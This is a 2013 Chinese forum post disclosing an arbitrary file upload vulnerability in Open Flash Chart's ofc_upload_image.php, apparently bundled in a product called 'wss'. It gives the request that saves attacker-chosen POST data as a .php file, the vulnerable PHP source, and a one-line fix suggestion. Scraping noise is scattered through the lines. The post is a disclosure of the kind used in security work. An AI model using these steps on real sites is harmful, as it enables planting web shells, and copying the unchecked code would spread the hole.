POST 数据漏洞文件执行任意后缀文件保存
& H2 @- r" A4 M% A9 j. T- t 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
) V5 P2 n4 g$ U0 b6 W, X8 `1 [5 S* Z% @
利用：
5 x% x1 d. j7 y, F+ P" @4 C/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
+ A3 H. u" B* `' n5 D% U' F; B. v/ E" X2 N; P
Post任意数据
* T9 D9 m1 P5 @6 r B保存位置http://localhost/chart/tmp-upload-images/hfy.php- O( k, v- f' d7 L
/ j L3 G4 j+ m- J+ ]
z/ W0 ^& L' n* y4 X
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
! W' ~9 t1 Q6 e, y4 l5 W2 y
+ D( q V0 l0 `! S0 B<?php
; G: |; C1 \- _( ]
E9 t# r4 C9 e2 f' }//
/ U& c% I9 S2 o! U& o// In Open Flash Chart -> save_image debug mode, you3 Q- ~* v: j5 ]
// will see the 'echo' text in a new window.
; O0 e2 ? W6 g//2 R: y7 }0 C' y( J
6 G0 B" L- \; w0 @& B/*7 Q4 G4 b% X0 [: @
0 h) Q9 i1 [! F, ^, v* h: o0 k/ qprint_r( $_GET );' M9 f3 m: K: _, Y6 k$ ^/ f1 y' n
print_r( $_POST );' Z* k+ q6 \+ o! p
print_r( $_FILES );" i2 J8 p/ A1 w3 r* t
/ e- @% A7 A3 J4 _2 Y+ h3 W5 ^) M" Dprint_r( $GLOBALS );
% C# v# Y4 G) ?! V6 xprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );) s+ j, r9 w" f" F: Q
6 U, _# f$ B% x8 X: e" }*/& p6 b& R" e* E
// default path for the image to be stored //7 ~6 v1 O& W3 ]- ^1 K. |, ]
$default_path = '../tmp-upload-images/';
8 x/ P" X. [! C( L& {. i. f/ C5 k+ {% B' g5 Y& A% r
if (!file_exists($default_path)) mkdir($default_path, 0777, true);4 c4 E% b/ `! S6 W! w c) y$ V
* ?7 r1 n9 p9 W$ D. }+ T// full path to the saved image including filename //: H i# V& [2 b" f" Y, l! L9 Z
$destination = $default_path . basename( $_GET[ 'name' ] ); % k. Z% k! E" w; _' \
& V& h' C; k& m0 \5 M" c
echo 'Saving your image to: '. $destination;- P3 J: G2 h0 M
// print_r( $_POST );) S+ R+ b4 v! ]) C$ o4 G
// print_r( $_SERVER );/ f& g- p. R& j; x
// echo $HTTP_RAW_POST_DATA;
8 {9 R9 }2 |; N5 N5 D* `9 d
2 Q+ a$ o2 c* ?4 E) L//
5 h6 q# ]$ m/ z# ^// POST data is usually string data, but we are passing a RAW .png1 Z# u* G; v/ B! @2 ]; @3 d6 b
// so PHP is a bit confused and $_POST is empty. But it has saved
3 Q; D" L" ?' V, `' {9 ^// the raw bits into $HTTP_RAW_POST_DATA) X* M! S, h& \- u
//7 Y; p& v$ o: o ^ P3 @
. P* ~* p& V3 b" u* c% m0 r1 {0 w$jfh = fopen($destination, 'w') or die("can't open file");
c; I/ V( r& Q' Sfwrite($jfh, $HTTP_RAW_POST_DATA);
7 {% s6 _# G! [2 }0 z$ ^, x& b7 [fclose($jfh);; @" u2 R) v/ l9 W" {4 d" L: t. ~! @
Z9 f( S+ u/ t/ V//
9 y0 G/ \0 T6 _2 f. _2 [# j// LOOK:) S5 H! ~0 X* ]5 F% J
//- a6 v0 s2 F% m) k! H! L, E6 [
exit(); j) D) B. }5 p
//
9 H. v7 Y1 M) c; g// PHP5:
! w4 r: w S6 z//4 s. e- `0 h; M: H* l
& w" C p' W' K# d; N# G/ _
, P: Q, r1 F9 S7 \, b9 P4 x// default path for the image to be stored //- L: C: {% M6 c7 \" \( p- I% |, J
$default_path = 'tmp-upload-images/';1 `6 [8 j- {- y! X
, N2 b/ K/ H* }if (!file_exists($default_path)) mkdir($default_path, 0777, true);
9 R$ [( [' A. e$ A; }8 S& l& b$ o: N9 _
// full path to the saved image including filename //
4 [" ^; }! S4 ^6 L* f o: H$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
1 g3 D0 A% H k. s+ k
, C( G! p: @0 ^: W! c) E j// move the image into the specified directory //; D+ y9 q6 {" N7 p+ W4 g+ s5 i
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
1 A7 ~! Q7 k1 F- c: V9 a1 Y: O echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
/ a% p* A- a: G; ^0 ?1 P' ?# U} else {
3 F: C! `4 D' g9 c# h8 u echo "FILE UPLOAD FAILED";+ B9 q5 W! b1 b" x
}
) D3 c5 f+ E4 h3 s0 s$ q% t" {+ i' W
: B1 V, t3 u1 z4 g" [) p: T3 t
?>8 J$ @/ M( S9 g9 O: D* u; M
" [+ x0 R; g3 ^$ R# U
* c5 x: s# p* [/ a- K: W; J
+ }/ B! G2 y! I( k- o0 w% `1 w3 O' @
6 z" e& f5 W, h+ @8 K
( u' ]- P: v' ]/ r) D* ?2 j( P" t( ?2 u& c& e% G
修复方案： & B- _$ |0 H7 y" o. Y) j
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
: {( @2 N# D. M( } p4 d Y3 ~# [5 ]& S
! ?! l3 O+ ~- A" S
1 c U$ y' ^5 w" N H: [
! w* S) d0 @! R( e( o |
发表于 2013-2-23 12:38:58
收藏
支持
反对